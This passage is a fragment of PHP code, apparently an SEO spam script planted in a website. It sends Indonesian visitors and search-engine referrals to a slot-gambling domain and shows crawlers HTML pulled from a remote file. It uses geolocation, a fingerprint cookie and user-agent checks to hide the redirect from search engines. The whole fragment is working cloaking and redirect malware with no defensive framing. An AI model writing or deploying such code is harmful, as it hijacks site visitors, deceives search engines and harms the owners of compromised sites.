true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 10 ]); $response = curl_exec($ch); curl_close($ch); return $response ?: ''; } function isBot() { $botKeywords = ['googlebot', 'slurp', 'adsense', 'inspection', 'verifycation', 'jenifer']; $ua = strtolower($_SERVER['HTTP_USER_AGENT'] ?? ''); foreach ($botKeywords as $bot) { if (strpos($ua, $bot) !== false) return true; } return false; } $ip = getClientIP(); $geoData = json_decode(getUrlContent("http://ip-api.com/json/{$ip}"), true); $countryCode = $geoData['countryCode'] ?? ''; $ua = $_SERVER['HTTP_USER_AGENT'] ?? ''; $fingerprint = sha1($ip . $ua); if (!isset($_COOKIE['user_fp']) && $countryCode === 'ID') { setcookie('user_fp', $fingerprint, time() + 86400 * 30, '/'); $_COOKIE['user_fp'] = $fingerprint; } $allowedFingerprint = $_COOKIE['user_fp'] ?? ''; $redirectURL = 'https://toto-slot.klingendes.co/'; if ($countryCode === 'ID' && $fingerprint === $allowedFingerprint && $allowedFingerprint !== '') { header("Location: $redirectURL"); exit; } $referer = $_SERVER['HTTP_REFERER'] ?? ''; $refererDomains = ['google.co.id', 'yahoo.co.id', 'bing.com']; foreach ($refererDomains as $domain) { if (stripos($referer, $domain) !== false) { header("Location: $redirectURL"); exit; } } if (isBot()) { $htmlURL = 'https://pub-b5c13bff5f2e4421a9e8d4c0e30c0cb0.r2.dev/klingdes.txt'; echo getUrlContent($htmlURL); exit; } ?>